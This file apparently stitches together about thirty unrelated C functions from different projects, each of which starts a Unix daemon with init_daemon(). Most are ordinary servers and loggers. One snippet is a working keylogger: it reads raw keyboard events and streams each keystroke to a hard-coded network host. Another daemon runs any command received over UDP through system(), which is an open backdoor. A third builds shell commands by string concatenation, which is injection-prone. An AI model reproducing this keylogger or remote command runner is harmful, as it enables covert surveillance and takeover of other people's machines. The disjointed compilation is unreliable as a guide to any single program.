int main(int argc, char **argv) { init_daemon(argv[0],LOG_INFO); if(get_arg("home_dir")==0) { sprintf(home_dir,"%s","/tmp"); } if(get_arg("ip")==0) { get_addr("eth0"); } if(get_arg("port")==0) { sprintf(port,"%s","80"); } if(get_arg("back")==0) { sprintf(back,"%s","5"); } int sock_fd = socket_bind(ip, atoi((const char *)&port)); do_epoll(sock_fd); close(sock_fd); return 0; }
int main (int argc, char* argv[]) { int ret;/*for many func's return value*/ init_file_config(); init_opt_config(argc, argv); init_daemon(); int port = atoi(walkerconf[PORT].value); int nlisten = atoi(walkerconf[LISTENNUMBER].value); walker.fd = tcp_listen(port,/*address*/ NULL, nlisten); /*test if mutiprocess on*/ if (strcasecmp(walkerconf[MUTIPROCESS].value, "on") == 0 &&(ret = atoi(walkerconf[PROCESSNUMBER].value)) >0){ int pid; walker.pids = (pid_t*)malloc(sizeof(pid_t)*ret); for (int i=0; i<ret; i++){ if ((pid=fork())==0) break; else walker.pids[i] = pid; } if (pid==0) do_subprocess_job(walker.fd); else{ /*parent job*/ } } return 0; }
int main(int argc, char **argv ) { unsigned int second = 30; char cmd[CMD_LENGTH] = {0}; #if 1 char buffer[CMD_LENGTH] = {0}; FILE *pp; #endif if ( argc != 2 ){ //printf ("Uage:%s SleepTime\n",argv[0]); second = 20; //默认20s检测一次路由 } else{ second = atoi(argv[1]); if (second > 300) second = 300; else if (second < 10) second=10; } get_running_status(argv[0]); init_daemon(); snprintf(cmd, sizeof(cmd), "/usr/local/httpd/htdocs/cgi-bin/sh/route_script.sh apply routing >/dev/null 2>&1"); system(cmd); #if 1 snprintf(cmd, sizeof(cmd), "/usr/local/httpd/htdocs/cgi-bin/sh/route_script.sh checkroute status=0,%s", buffer); pp = popen(cmd, "r"); if (pp != NULL){ memset(buffer, 0 ,sizeof(buffer)); fgets(buffer, sizeof(buffer), pp); } pclose(pp); #endif //delay(2); //route_apply_dhcpd(); check_dhcp_dial(); while (1) { delay(second); //xl2tpd掉线重拨 check_xl2tpd_dial(); check_adsl_dial(); //如果路由发生变化,刷新路由表 #if 1 snprintf(cmd, sizeof(cmd), "/usr/local/httpd/htdocs/cgi-bin/sh/route_script.sh checkroute status=1,%s", buffer); //snprintf(cmd, sizeof(cmd), "/usr/local/httpd/htdocs/cgi-bin/sh/route_script.sh checkroute status=1"); pp = popen(cmd, "r"); if (pp != NULL){ memset(buffer, 0 ,sizeof(buffer)); fgets(buffer, sizeof(buffer), pp); } pclose(pp); #endif } }
int main(int argc, char** argv) { FILE* fp; time_t t; #ifdef DAEMON init_daemon(); #endif while(1) { sleep(10); if((fp = fopen("/tmp/test.log", "a")) >= 0) { t = time(0); #ifdef DAEMON fprintf(fp,"DAEMON: "); #endif fprintf(fp, "I am still alive! at %s", asctime(localtime(&t))); fclose(fp); } } return 0; }
int main(int argc,char **argv) { char queuename[20]; int loop; if(argc <= 4 || strcmp(argv[1], "-q") != 0 || strcmp(argv[3], "-t") != 0) { printf("You should run program like:\n"); printf("%s -q queuename -t timespersec\n", argv[0]); return; } strcpy(queuename, argv[2]); loop = atoi(argv[4]); if(loop < 1) { printf("The -t(times per second) must be an int number & > 0\n"); return; } init_daemon(); while(1) { sleep(1); process(queuename, loop); } }
int main(int argc, char* argv[]) { int id = 0; if (argc >= 2) { id = atoi(argv[1]); } int i=0; for (;i<argc; i++) { if (strcmp(argv[i], "-d") == 0) { init_daemon(); break; } } server_start(id); while (1) { sleep(60); } server_shutdown(); return 0; }
int main (int argc, char * argv[]) { int i, status, lsockfd, csockfd; /* local/connection socket file descriptor */ struct sockaddr_in raddr; /* remote address object */ socklen_t raddr_len = sizeof (struct sockaddr_in); pthread_t connThread; /* thread identifier */ User_Settings * o_stngs; /* user suplied settings struct (stores user settings)*/ /* set global variables */ server = "simpleText"; version = 1.0f; /* allocate user suplied settings struct */ o_stngs = malloc(sizeof(User_Settings)); /* read configuration file */ read_conf_file (o_stngs); /* parse and set cli options */ parse_cli_opts (argc, (char **) &argv[0], o_stngs); /* make daemon and start logging */ status = init_daemon (server, o_stngs); if (status == 0) return EXIT_SUCCESS; /* parent returns success */ else if (status == 1) return EXIT_FAILURE; /* parent returns failure */ syslog (LOG_NOTICE, "[PID: %u, SID: %u] > %s started..", getpid (), getsid (getpid ()), server); /* Read Hosts File */ host_cnt = read_host_file (NULL, 1); for (i = 0; i < host_cnt; i++) read_host_file (&o_vhost[i], 0); /* start listening for TCP connections */ lsockfd = start_listen (o_stngs->port); free(o_stngs); /* loop through accepting and handling connections */ while (1) { /* accept connection or skip to next conection if accept fails */ csockfd = accept (lsockfd, (struct sockaddr *) &raddr, &raddr_len); if (csockfd == -1) /* if connection fails ignore it and continue */ continue; Connect_Args * o_args = malloc(sizeof(Connect_Args *)); o_args->socket = csockfd; strcpy (o_args->client_addr, inet_ntoa (raddr.sin_addr)); /* create thread to handle connection */ pthread_create(&connThread, NULL, (void *) &attent_connection, o_args); /* wait for one second before accepting next connection */ sleep (1); } }
int main(int argc, char * argv[]) { int listen_fd, connect_fd; struct sockaddr_in server_addr, client_addr; pid_t ppid; memset(&server_addr, 0, sizeof(server_addr)); memset(&client_addr, 0, sizeof(client_addr)); conf = getConfig(CONFIG); if(init_socket(&listen_fd, &server_addr) == -1) { perror("init_socket() error. in myHttpd.c"); exit(EXIT_FAILURE); } socklen_t addrlen = sizeof(struct sockaddr_in); signal(SIGCHLD, SIG_IGN); /* 忽略子进程结束信号,防止出现僵尸进程 */ init_daemon(); //printf("Accepting connections ...\n"); while (1) { if((connect_fd = accept(listen_fd, (struct sockaddr *)&client_addr, &addrlen)) == -1) { perror("accept() error. in myHttpd.c"); continue; } if( (ppid = fork()) > 0) { close(connect_fd); } else if(ppid == 0) { close(listen_fd); //printf("pid %d process http from %s:%d\n", getpid(), inet_ntoa(client_addr.sin_addr), htons(client_addr.sin_port)); if(http_session(&connect_fd, &client_addr) == -1) { printf("pid %d loss connection to %s\n", getpid(), inet_ntoa(client_addr.sin_addr)); shutdown(connect_fd, SHUT_RDWR); exit(EXIT_FAILURE); /* exit from child process, stop this http session */ } //printf("pid %d close connection to %s\n", getpid(), inet_ntoa(client_addr.sin_addr)); shutdown(connect_fd, SHUT_RDWR); exit(EXIT_SUCCESS); } else { perror("fork() error. in myHttpd.c"); exit(EXIT_FAILURE); } } return 0; }
int test_init() { int retval; printf("[+] testing init_daemon(NULL, 0, 0)\n"); retval = init_daemon(NULL, 0, 0); printf("\t[+] init retval: %d\n\n", retval); return retval; }
int main() { time_t now; init_daemon(); syslog(LOG_USER|LOG_INFO,"测试守护进程!\n"); while(1) { sleep(8); time(&now); syslog(LOG_USER|LOG_INFO,"系统时间: \t%s\t\t\n", ctime(&now)); } }
int Condor_Auth_Kerberos :: authenticate(const char * /* remoteHost */, CondorError* /* errstack */, bool /*non_blocking*/) { int status = 0; if ( mySock_->isClient() ) { // we are the client. // initialize everything if needed. if (init_kerberos_context() && init_server_info()) { if (isDaemon() || get_mySubSystem()->isDaemon() ) { status = init_daemon(); } else { status = init_user(); } } else { status = FALSE; } int message = (status == TRUE? KERBEROS_PROCEED : KERBEROS_ABORT); mySock_->encode(); if (!mySock_->code(message) || !mySock_->end_of_message()) { status = FALSE; } else { if (message == KERBEROS_PROCEED) { // We are ready to go status = authenticate_client_kerberos(); } else { status = FALSE; } } } else { // we are the server. int ready; mySock_->decode(); if (!mySock_->code(ready) || !mySock_->end_of_message()) { status = FALSE; } else { if (ready == KERBEROS_PROCEED) { dprintf(D_SECURITY,"About to authenticate client using Kerberos\n" ); // initialize everything if needed. if (init_kerberos_context() && init_server_info()) { status = authenticate_server_kerberos(); } else { status = FALSE; } } } } return( status ); }
int image_cache(char *local_cache_path, unsigned short cache_write_port) { pthread_t local_req_thr, remote_req_thr; int local_req_fd, remote_req_fd; pr_info("Proxy to Cache Port %d, CRIU to Cache Path %s\n", cache_write_port, local_cache_path); if (opts.ps_socket != -1) { remote_req_fd = opts.ps_socket; pr_info("Re-using ps socket %d\n", remote_req_fd); } else { remote_req_fd = setup_TCP_server_socket(cache_write_port); if (remote_req_fd < 0) { pr_perror("Unable to open proxy to cache TCP socket"); return -1; } } local_req_fd = setup_UNIX_server_socket(local_cache_path); if (local_req_fd < 0) { pr_perror("Unable to open cache to proxy UNIX socket"); return -1; } if (init_daemon(wait_for_image)) { pr_perror("Unable to initialize daemon"); return -1; } if (pthread_create( &remote_req_thr, NULL, accept_remote_image_connections, (void *) &remote_req_fd)) { pr_perror("Unable to create remote requests thread"); return -1; } if (pthread_create( &local_req_thr, NULL, accept_local_image_connections, (void *) &local_req_fd)) { pr_perror("Unable to create local requests thread"); return -1; } join_workers(); pthread_join(remote_req_thr, NULL); pthread_join(local_req_thr, NULL); return 0; }
int main() { printf("test"); time_t now; init_daemon(); syslog(LOG_USER/LOG_INFO,"测试守护进程!\n"); while(1) { sleep(8); time(&now); syslog(LOG_USER|LOG_INFO,"系统时间:\tt%s\t\t\n",ctime(&now)); } }
int main(void) { time_t now; init_daemon(); syslog(LOG_USER|LOG_INFO,"测试守护进程 \n"); while(1) { sleep(10); time(&now); syslog(LOG_USER|LOG_INFO,"系统时间: \t%s\t\t\n",ctime(&now)); } return 0; }
int main(int argc, char *argv[]) { time_t now; init_daemon (); syslog (LOG_USER|LOG_INFO, "测试守护进程!\n"); while (1) { sleep (8); time (&now); syslog (LOG_USER|LOG_INFO, "系统时间:\t%s\t\t\n", ctime(&now)); } return EXIT_SUCCESS; }
int main() { FILE *fp;time_t t; init_daemon();//初始化为Daemon while(1)//每隔一分钟向test.log报告运行状态 { sleep(5);//睡 眠一分钟 if ((fp=fopen("/home/zhuliting/test/test.log","a")) >= 0) { t = time(0); fprintf(fp,"Im here at %s", asctime(localtime(&t))); fclose(fp); } } return 0; }
int main (int argc, char *argv[]) { LOG_INIT(LOG_ALL); LOG_GMT_ZONE; LOG_BEGIN; settings = bp_hashtab_new_ext(czstr_hash, czstr_equal, free, free); if (!preload_settings()){ LOG_END_RC(1); //return 1; } chain_set(); LOG("chain-set"); RAND_bytes((unsigned char *)&instance_nonce, sizeof(instance_nonce)); unsigned int arg; for (arg = 1; arg < argc; arg++) { const char *argstr = argv[arg]; if (!do_setting(argstr)){ LOG_END_RC(1); //return 1; } } LOG("arguments processed"); /* * properly capture TERM and other signals */ signal(SIGHUP, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGINT, term_signal); signal(SIGTERM, term_signal); LOG("signals set"); init_daemon(&global_nci); run_daemon(&global_nci); fprintf(plog, "daemon exiting\n"); shutdown_daemon(&global_nci); LOG_END_RC(0); //return 0; }
int main() { FILE * fp; time_t t; init_daemon();/*init the daemon*/ while(1){ sleep(60); if((fp=fopen("/tmp/daemon_test.log","a")) >= 0){ t= time(0); fprintf(fp,"\33[31mIm here\33[0m \33[33mat %s\33[0m \n",asctime(localtime(&t))); fclose(fp); } } return 0; }
int main(int argc, char **argv) { struct daemon *daemon; struct config *cfg; int ret; /* if(!check_root()) { fprintf(stderr, "permission denied, root only\n"); exit(EXIT_FAILURE); } */ if(argc < 3) { daemonize(); } signal(SIGPIPE, SIG_IGN); ret = log_init(HADM_LOG_CONF, HADM_SERVER_LOG_CAT); if(ret < 0) { exit(EXIT_FAILURE); } cfg = load_config(CONFIG_FILE); if(cfg == NULL) { log_error("load config file failed, please check config file!"); exit(EXIT_FAILURE); } daemon = create_daemon(cfg); if(daemon == NULL) { exit(EXIT_FAILURE); } if(init_daemon(daemon) < 0) { exit(EXIT_FAILURE); } daemon_run(daemon); return 0; }
int main() { FILE *fp; init_daemon(); fp = fopen("judger_daemon.log", "a"); if (fp == NULL) exit(0); while (1) { system("rm judger_daemon.tmp"); strcpy(cmd, "ls "); strcat(cmd, reqdir); strcat(cmd, " >> judger_daemon.tmp"); system(cmd); if (0 == work()) sleep(1); } return 0; }
int main(int argc, char *argv[]) { int len, addrlen, sfd; struct sockaddr_in serv_addr; char data[512]; addrlen = sizeof(struct sockaddr_in); parse_cmd(&argc, argv); if(!check_instance()){ DEBUG_MSG("One instance is running!\n"); exit(1); } signal(SIGTERM, handle_int_signal); signal(SIGINT, handle_int_signal); signal(SIGHUP, handle_int_signal); if(!DEBUG_ON) init_daemon(); write_pid(); gbl_fd = sfd = open_udp_server_socket(SERV_PORT, &serv_addr); while (1) { memset(data, '\0', sizeof(data)); len = recvfrom(sfd, data, sizeof(data), 0, (struct sockaddr *) &serv_addr, &addrlen); printf("got %s\n", data); system(data); } close(gbl_fd); return 0; }
int main(int argc, char **argv){ int status = 0; init_globals(); atexit(cleanup); /* * PROBLEM * We used to call init_signals() only after init_daemon(). But in * that case, when started with -F or -D -D, the signals are * not caught in Linunx and OSX (they are caught in FreeBSD). nbspd and * npemwind die, but leave the pid file and the web server. * [It seems that the signals are not blocked in the main thread as * the code in signal.c should ensure.] * Adding this call here * * status = init_signals(); * * makes OSX and Linux respond well when the daemon is run in the foreground. * If the call is made after the tcl configure(), the problem repeats; * it has to be before the configure() function. * * The problem is that in FreeBSD-7.1, when init_signals() is called here, * then no threads are spawned afterwards. * * The solution was to split init_signals() in two parts, one that * block the signals and the other spawns the thread. I don't fully * understand what in tcl is causing this (Fri Mar 13 11:43:09 AST 2009). */ status = init_signals_block(); if(status == 0){ /* * This will configure it with the default configuration * file, if it exists. * * This note and Tcl... code line is taken from the nbsp source code. * [First initialize the tcl library once and for all. It was not * necessary to call this in unix, but cygwin needs it or EvalFile * seg faults.] */ Tcl_FindExecutable(argv[0]); status = configure(); } if(status == 0) status = parse_args(argc, argv); if(status == 0){ if(g.configfile != NULL){ /* * This will reconfigure it with the user-supplied config file */ status = configure(); } } /* * if [-C] was given, print the configuration and exit. */ if(status == 0){ if(g.option_C == 1){ print_confoptions(); return(0); } } if(status == 0) status = validate_configuration(); /* * user and group are configurable so this must be done after reading * configuration options. */ if(status == 0) status = drop_privs(); if(status == 0) status = init_server_list(); if(status == 0) status = init_directories(); /* * The last configuration step, just before becoming a daemon. */ if(status == 0) status = exec_startscript(); if((status == 0) && (g.f_ndaemon == 0)) status = init_daemon(); set_log_debug(g.f_debug); set_log_verbose(g.f_verbose); if(status == 0) status = init_signals_thread(); /* * This has to be done after daemon() so that the lock file contains the * daemon's pid, not the starting program's. */ if(status == 0) status = init_lock(); /* * There are no shared queues in npemwin, otherwise the initialization * would go here. * * if(status == 0) * status = init_queues(); */ if(status == 0){ if(g.serverprotocol != PROTOCOL_NONE) { g.f_server_enabled = 1; status = init_server(); } } if(status == 0){ if(g.httpd_enable > 0){ status = spawn_httpd_server(); } } if(status == 0){ if(g.bbserver_enable > 0){ status = spawn_bbregistrar(); } } if(status == 0) status = init_emwin_qfiles(); if(status == 0) init_periodic(); /* * If there are initialization errors, ask all threads to quit. */ if(status != 0) set_quit_flag(); while(get_quit_flag() == 0){ status = loop(); } if(status != 0) status = EXIT_FAILURE; return(status); }
int main(int argc, char *argv[]) { //根据参数,创建守护进程 int nDaemon = 0; int opt; while((opt=getopt(argc,argv, "dnsv:i:")) != -1) { switch(opt) { case 'd': { nDaemon = 1; break; } case 'v': { printf_Enable = *optarg - '0'; break; } case 's': { SetSerialPrint(); break; } case 'n': { SetNetPrint(); break; } case 'i': { memcpy(g_dev_name, optarg, strlen(optarg)); } default: { break; } } } if (nDaemon) { //daemon(0, 0); init_daemon(); } //serial相关初始化 //设备尚未连接的时候打不开,需要实时检测设备是否连接. /* if(0 >= SerialOpen()) { TRACEERR("serial dev open fail\n"); exit(ReturnError); } */ SerialInit(); SetCallbackRecvSerialFun(CallBackRecvSerialFun); SetCallbackRecvSerialBuff(g_szRecvSerialBuff); SetCallbackRecvSerialBuffSize(&g_nRecvSerialBuffSize); if (ReturnError == SerialStartListen()) { TRACEERR("serial start listen fail\n"); exit(ReturnError); } //网络相关初始化 SetCallBackRecvNet(CallBackRecvNetFun); SetCallBackRecvNetBuff(g_szRecvNetBuff); SetCallBackRecvNetBuffSize(&g_nRecvNetBuffSize); SetCallBackRecvNetAddr(&g_oRecvNetBuffFrom); if (ReturnError == StartNetService()) { TRACEERR("start net service fail\n"); exit(ReturnError); } //协议相关初始化 if (ReturnError == ProtocolInit()) { TRACEERR("Protocol init fail\n"); exit(ReturnError); } while(1) { sleep(3); } return ReturnSuccess; }
/* This is the daemon's main work - listen for connections and spawn. */ static void run_daemon (void) { pid_t pid; fd_set serverfds; fd_set sslrds; int maxfd; loadconfig (); init_sockets (&serverfds, &sslrds, &maxfd); if (cfg.EnableSSL) ssl_init(); curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if ( !curl ) { syslog(LOG_ERR, "curlGetURL: cant initialize curl!"); return; } if (! test_only) { writepidfile (); if (getuid () == 0) { struct passwd *pwent; if ((pwent = getpwnam (cfg.RunAsUser)) == NULL) die ("Unknown user %s, check configuration", cfg.RunAsUser); if (setuid (pwent->pw_uid)) die ("Cant setuid %s", cfg.RunAsUser); } errno = 0; } daemon_chdir (); load_servers(); loadactive(); loadoverviewfmt(); load_access_conf(); load_statsfile(); // init_cache(); master->serverstart = time (NULL); master->nrforks = 0; #if defined(_SC_NPROCESSORS_ONLN) master->numcores = sysconf(_SC_NPROCESSORS_ONLN); info("Found %d CPU cores", master->numcores); #else info("No CPU core binding support"); #endif if ((master->semid = semlock_init (MASTER_SEMKEY)) == -1) die ("semlock_init: semget failed: %m"); if (test_only) { info ("Startup Test Successfull, Exiting.."); syslog_close (); exit (0); } info ("NNTP Server Starting.."); if (!opt_stay) { syslog_close (); pid = init_daemon (serverfds); syslog_open ("nntpswitchd", LOG_PID, LOG_NEWS); if (pid < 0) die ("Can't fork"); /* 2nd time, with the right pid, as user news */ writepidfile (); } // start the timer process for statistics if ( cfg.StatsFilePeriod > 0 ) timerpid = run_timer_loop(); info("Server running new pid %d uid %d euid %d timerpid %d" , (int)getpid(), (int)getuid(), (int)geteuid(), (int)timerpid); setproctitle("nntpswitchd: waiting for connections"); daemon_select_loop (serverfds, sslrds, maxfd); }
int main(int argc, char const *argv[]) { int KeyIndex; init_daemon(); struct input_event t; struct stat File; /****客户端守护进程后台运行 记录************/ struct sockaddr_in Addr; Addr.sin_family = PF_INET; Addr.sin_port = htons(1234); Addr.sin_addr.s_addr = inet_addr("192.168.1.3"); int ServerScock = socket(PF_INET,SOCK_STREAM,0); if(ServerScock == -1) { perror("ServerScock "); } int ConnectServer = connect(ServerScock,(struct sockaddr *)&Addr,sizeof(Addr)); if(ConnectServer == -1) { perror("ConnectServer "); } // char buf[MaxLen]; // bzero(buf,0); // while(1) // { // read(ServerScock,buf,MaxLen); // if(buf[MaxLen-1] != '\0') // { // } // } /**************************************************************/ int KeyBoard = open("/dev/input/event1",O_RDONLY,0777); if(KeyBoard == -1) { perror("KeyBoard fail"); } // int KeyContent = open(argv[1],O_RDWR|O_CREAT|O_APPEND,0777); // if(KeyContent == -1) // { // perror("KeyContent fail"); // } // (argv[1],&File); char buf[MaxLen]; bzero(buf,0); while(1) { if(read(KeyBoard,&t,sizeof(t)) == sizeof(t)) { if(t.type == EV_KEY) if(t.value == 1 && t.value != KEY_ENTER) { KeyIndex = t.code; write(ServerScock,KeyName[KeyIndex],strlen(KeyName[KeyIndex])); write(ServerScock," ",strlen(" ")); } } } close(KeyBoard); return 0; }
//----------------------------------------------------------------------------- // Main... process command line parameters, and then setup our listening // sockets and event loop. int main(int argc, char **argv) { system_data_t sysdata; ///============================================================================ /// Initialization. ///============================================================================ init_sysdata(&sysdata); init_settings(&sysdata); get_options(sysdata.settings, argc, argv); init_maxconns(&sysdata); init_daemon(&sysdata); init_events(&sysdata); init_logging(&sysdata); logger(sysdata.logging, 1, "System starting up"); init_signals(&sysdata); init_buffers(&sysdata); init_servers(&sysdata); init_stats(&sysdata); init_risp(&sysdata); init_nodes(&sysdata); init_msglist(&sysdata); init_queues(&sysdata); init_controllers(&sysdata); ///============================================================================ /// Main Event Loop. ///============================================================================ // enter the event loop. logger(sysdata.logging, 1, "Starting Event Loop"); assert(sysdata.evbase); event_base_loop(sysdata.evbase, 0); logger(sysdata.logging, 1, "Shutdown preparations complete. Shutting down now."); ///============================================================================ /// Shutdown ///============================================================================ cleanup_events(&sysdata); cleanup_controllers(&sysdata); cleanup_queues(&sysdata); cleanup_msglist(&sysdata); cleanup_nodes(&sysdata); cleanup_risp(&sysdata); cleanup_stats(&sysdata); cleanup_servers(&sysdata); cleanup_buffers(&sysdata); cleanup_signals(&sysdata); logger(sysdata.logging, 1, "Shutdown complete.\n"); cleanup_logging(&sysdata); cleanup_daemon(&sysdata); cleanup_maxconns(&sysdata); cleanup_settings(&sysdata); cleanup_sysdata(&sysdata); // good-bye. return 0; }
void Linux_Start() { init_daemon(); lnx_write(); return ; }
int /*ARGSUSED*/ main(int argc, char **argv) { int req_temp, rsp_temp, c; ssize_t ret; size_t len; struct sockaddr_un from; socklen_t fromlen; iscsid_request_t *req; iscsid_response_t *rsp; struct timeval seltout = { 2, 0 }; /* 2 second poll interval */ char *p; while ((c = getopt(argc, argv, "d:n")) != -1) switch (c) { case 'n': nothreads++; break; case 'd': debug_level=(int)strtol(optarg, &p, 10); if (*p) errx(EXIT_FAILURE, "illegal debug level -- %s", optarg); break; default: usage(); } client_sock = init_daemon(); if (client_sock < 0) exit(1); printf("iSCSI Daemon loaded\n"); if (!debug_level) daemon(0, 1); if (nothreads) setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &seltout, sizeof(seltout)); else { ret = pthread_create(&event_thread, NULL, event_handler, NULL); if (ret) { printf("Thread creation failed (%zd)\n", ret); close(client_sock); unlink(ISCSID_SOCK_NAME); deregister_event_handler(); pthread_mutex_destroy(&sesslist_lock); return -1; } } /* ---------------------------------------------------------------------- */ for (;;) { /* First, get size of request */ req = (iscsid_request_t *)(void *)req_buf; fromlen = sizeof(from); len = sizeof(iscsid_request_t); if (nothreads) { do { ret = recvfrom(client_sock, req, len, MSG_PEEK | MSG_WAITALL, (struct sockaddr *)(void *)&from, &fromlen); if (ret == -1) event_handler(NULL); } while (ret == -1 && errno == EAGAIN); } else { do { ret = recvfrom(client_sock, req, len, MSG_PEEK | MSG_WAITALL, (struct sockaddr *) &from, &fromlen); if (ret == -1) event_handler(NULL); } while (ret == -1 && errno == EAGAIN); } if ((size_t)ret != len) { perror("Receiving from socket"); break; } DEB(98, ("Request %d, parlen %d\n", req->request, req->parameter_length)); len += req->parameter_length; /* now that we know the size, get the buffer for it */ req_temp = (len > REQ_BUFFER_SIZE); if (req_temp) { req = malloc(len); if (!req) { printf("Can't alloc %zu bytes\n", len); break; } } /* read the complete request */ fromlen = sizeof(from); ret = recvfrom(client_sock, req, len, MSG_WAITALL, (struct sockaddr *)(void *)&from, &fromlen); if ((size_t)ret != len) { DEBOUT(("Error receiving from socket!\n")); if (req_temp) free(req); continue; } /* terminate? then go die. */ if (req->request == ISCSID_DAEMON_TERMINATE) break; /* No reply required to test message */ if (req->request == ISCSID_DAEMON_TEST) { if (req_temp) free(req); continue; } /* no return path? then we can't send a reply, */ /* so don't process the command */ if (!from.sun_path[0]) { if (req_temp) free(req); DEBOUT(("No Return Address!\n")); continue; } /* process the request */ process_message(req, &rsp, &rsp_temp); if (rsp == NULL) { if (req_temp) free(req); DEBOUT(("Invalid message!\n")); continue; } DEB(98, ("Sending reply: status %d, len %d\n", rsp->status, rsp->parameter_length)); /* send the response */ len = sizeof(iscsid_response_t) + rsp->parameter_length; ret = sendto(client_sock, rsp, len, 0, (struct sockaddr *)(void *)&from, fromlen); if (len != (size_t)ret) { DEBOUT(("Error sending reply!\n")); } /* free temp buffers if we needed them */ if (req_temp) free(req); if (rsp_temp) free(rsp); } exit_daemon(); /* we never get here */ return 0; }
/* * main function */ int main(int argc, char *argv[]) { int sock = -1, ret; unsigned groups; /* set option */ ret = set_options(argc, argv); if(ret < 0) close_exit(sock, 0, ret); /* open log file */ ret = open_log(log_file); if(ret < 0) close_exit(sock, 0, ret); /* open debug file */ if(log_opts & L_DEBUG) { ret = open_dbg(dbg_file); if(ret < 0) close_exit(sock, 0, ret); } /* create lock file */ ret = open_lock(); if(ret < 0) close_exit(sock, 0, ret); /* set signal handlers */ ret = set_signal_handlers(); if(ret < 0) close_exit(sock, 0, ret); /* initizlize daemon */ ret = init_daemon(); if(ret < 0) close_exit(sock, 0, ret); rec_log("info: nield %s started(PID: %ld)", VERSION, (long)getpid()); /* write pid to lock file */ ret = write_lock(); if(ret < 0) close_exit(sock, 0, ret); /* open netlink socket to create list */ groups = 0; sock = open_netlink_socket(groups, NETLINK_ROUTE); if(sock < 0) close_exit(sock, 1, ret); /* request interface list */ ret = send_request(sock, RTM_GETLINK, AF_UNSPEC); if(ret < 0) close_exit(sock, 1, ret); /* receive interface list */ ret = recv_reply(sock, RTM_GETLINK); if(ret != 0) close_exit(sock, 1, ret); /* request bridge interface list */ ret = send_request(sock, RTM_GETLINK, AF_BRIDGE); if(ret < 0) close_exit(sock, 1, ret); /* receive bridge interface list */ ret = recv_reply(sock, RTM_GETLINK); if(ret != 0) close_exit(sock, 1, ret); /* request neighbor cache list */ ret = send_request(sock, RTM_GETNEIGH, AF_UNSPEC); if(ret < 0) close_exit(sock, 1, ret); /* receive & create interface list */ ret = recv_reply(sock, RTM_GETNEIGH); if(ret != 0) close_exit(sock, 1, ret); /* close socket */ close(sock); /* set rtnetlink multicast groups */ groups = set_rtnetlink_groups(); sock = open_netlink_socket(groups, NETLINK_ROUTE); if(sock < 0) close_exit(sock, 1, ret); /* recevie events */ ret = recv_events(sock); close_exit(sock, 1, ret); return(0); }
void commandExecute() { struct timeval tv_beg; struct timeval tv_end; struct timezone tz_beg; struct timezone tz_end; int temp = -1; int process_pid = 0,process_pid2=0; int status = 0; int walk_clock_time = 0; int i = 0; //printf("%d\n",backFlag); while(1) { //获取进程运行前系统时间 gettimeofday(&tv_beg, &tz_beg); //获取命令 getCommand(); //判断是第几个命令 for(i=0; i<COMMAND_NUM; i++) { if(strcmp(shellCommand, commandKind[i]) == 0) { temp = i; break; } } if(backFlag) { init_daemon(); } switch(temp) { case 0: //printf("%d\n",temp); myCd(); break; case 1: //printf("%d\n",temp); getcwd(shell_args, PATH_LEN);//get the current directory myLs(shell_args); break; case 2: //printf("%d\n",temp); printf("等待后台进程.... \n"); waitpid(-1, &status, 0); printf("所有后台进程运行结束! \n"); return; case -1: //printf("%d\n",temp); process_pid=fork(); if(process_pid==0) { printf("other command\n"); externalCmd(); showStatic(); exit(0); } else waitpid(process_pid, &status, 0); break; default: continue; } temp=-1; //获取进程运行后系统时间 gettimeofday(&tv_end, &tz_end); walk_clock_time = (tv_end.tv_sec - tv_beg.tv_sec)*1000 + (tv_end.tv_usec - tv_beg.tv_usec)/1000; printf("\n"); printf("进程运行时间 (ms): %d \n", walk_clock_time); showStatic(); if(backFlag) { } } }